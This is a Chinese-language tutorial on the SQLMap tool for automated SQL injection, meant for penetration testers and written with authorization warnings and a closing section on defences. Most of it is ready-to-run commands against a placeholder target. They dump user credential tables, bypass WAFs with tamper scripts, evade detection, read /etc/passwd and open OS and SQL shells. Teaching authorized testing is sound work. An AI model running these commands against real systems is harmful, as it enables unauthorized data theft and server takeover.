跳至内容

SQLMap 自动化注入

《常见 Web 漏洞》讲了 SQL 注入的原理和手工注入,这篇专门讲自动化神器 SQLMap:它能自动探测注入点、识别数据库类型、枚举库表字段、拖取数据,甚至在条件允许时拿到操作系统 shell。掌握它能把重复的注入工作自动化,但也要理解它每一步在做什么,避免无脑一把梭。

SQLMap 是高危工具,--dump--os-shell 等操作影响巨大,只能在授权目标或自建靶场(如 DVWA、sqli-labs)使用--batch 会自动确认所有提示,用前务必清楚每步后果。

SQLMap 能做什么

SQLMap 把 SQL 注入的完整利用链自动化:

  • 探测:判断参数是否可注入,识别注入类型(布尔盲注、时间盲注、报错、UNION、堆叠)。
  • 指纹:识别 DBMS 类型与版本(MySQL/PostgreSQL/MSSQL/Oracle 等)。
  • 枚举:库 → 表 → 字段 → 数据,逐层拖取。
  • 进阶:读写文件、执行命令、获取 shell(权限足够时)。

它支持五大注入技术,缩写为 BEUSTBoolean 盲注、Error 报错、UNION 联合、Stacked 堆叠、Time 时间盲注。

基础:探测注入点

# 最简单:测试 GET 参数 id 是否可注入
sqlmap -u "http://target.com/vuln.php?id=1"

# 加 --batch 自动用默认选项回答所有交互提示,适合自动化
sqlmap -u "http://target.com/vuln.php?id=1" --batch

# 指定要测试的参数(多参数时聚焦一个)
sqlmap -u "http://target.com/vuln.php?id=1&cat=2" -p id

探测成功后 SQLMap 会报告注入点、可用技术和后端 DBMS 版本。

处理 POST、Cookie 与认证请求

真实场景的注入点常在 POST 体、Cookie 或需要登录后才能访问,SQLMap 都支持:

# POST 数据
sqlmap -u "http://target.com/login.php" --data="username=admin&password=x" -p username

# 带 Cookie(已登录会话)
sqlmap -u "http://target.com/profile.php?id=1" --cookie="PHPSESSID=abcd1234"

# 测试 Cookie 里的参数 / 其它位置(用 * 标记注入点)
sqlmap -u "http://target.com/profile.php?id=1" --cookie="uid=1*"
最省事的方式:用 Burp Suite 把目标请求保存为文件(右键 Save item),再 sqlmap -r request.txt。这样请求头、Cookie、POST 体全都原样带上,不用手动拼参数。需要指定注入点时在请求里用 * 标记。
# 直接用保存的原始请求文件
sqlmap -r request.txt -p id --batch

枚举数据:库 → 表 → 字段 → 数据

确认可注入后,按层级逐步拖取。这是 SQLMap 最常用的部分:

# 1. 列出所有数据库
sqlmap -u "http://target.com/vuln.php?id=1" --dbs --batch

# 2. 列出指定库的所有表
sqlmap -u "http://target.com/vuln.php?id=1" -D appdb --tables --batch

# 3. 列出指定表的字段
sqlmap -u "http://target.com/vuln.php?id=1" -D appdb -T users --columns --batch

# 4. 拖取指定字段的数据
sqlmap -u "http://target.com/vuln.php?id=1" \
  -D appdb -T users -C "username,password,email" --dump --batch

# 拖取整张表
sqlmap -u "http://target.com/vuln.php?id=1" -D appdb -T users --dump --batch

其它常用枚举开关:--current-db(当前库)、--current-user(当前用户)、--is-dba(是否 DBA 权限)、--passwords(DBMS 用户密码哈希)。

调节探测强度与绕过防护

默认探测较保守,可调高强度或加绕过手段:

# --level(1-5) 提高测试范围(含 Cookie/Header),--risk(1-3) 提高 payload 风险等级
sqlmap -u "http://target.com/vuln.php?id=1" --level=5 --risk=3 --batch

# 指定只用某种注入技术(T=时间盲注),减少噪音
sqlmap -u "http://target.com/vuln.php?id=1" --technique=T --batch

# 用 tamper 脚本绕过 WAF(如对关键字做编码/变形)
sqlmap -u "http://target.com/vuln.php?id=1" \
  --tamper=space2comment,between,randomcase --batch

# 降低请求频率,规避限速/检测
sqlmap -u "http://target.com/vuln.php?id=1" --delay=1 --random-agent --batch

--level 越高测试的位置越多(5 会测 Cookie、User-Agent、Referer 等),--risk 越高使用越激进的 payload。tamper 脚本在 /usr/share/sqlmap/tamper/,针对不同 WAF 选不同组合。

高危进阶(仅授权环境)

权限足够时 SQLMap 可越过数据层直接打到系统层:

# 读取服务器文件
sqlmap -u "http://target.com/vuln.php?id=1" --file-read="/etc/passwd" --batch

# 尝试获取交互式系统 shell(需要高权限 + 满足条件)
sqlmap -u "http://target.com/vuln.php?id=1" --os-shell --batch

# 获取 SQL shell 直接执行任意查询
sqlmap -u "http://target.com/vuln.php?id=1" --sql-shell --batch
--os-shell / --file-write 会向目标写入文件、执行系统命令,属于实打实的入侵行为,任何未授权使用都是犯罪。这类操作即使在授权测试中也要事先与客户确认,避免影响生产系统。

防御视角

SQLMap 再强,面对正确防御也无能为力,根治手段和手工注入完全一致:

  • 参数化查询 / 预编译语句:从根本上杜绝 SQL 拼接,这是唯一彻底的修复。
  • 最小权限数据库账号:Web 账号不给 FILEDBA 权限,--os-shell--file-read 直接失效。
  • 关闭详细报错回显:报错注入依赖数据库错误信息泄露,生产环境关掉。
  • WAF + 输入校验:能拦截大量自动化 payload,提高 --tamper 绕过成本(属纵深防御,不能替代参数化)。
  • 监控异常:SQLMap 默认 UA、海量带特征的请求很容易被检测,配合限速封禁。
最后更新于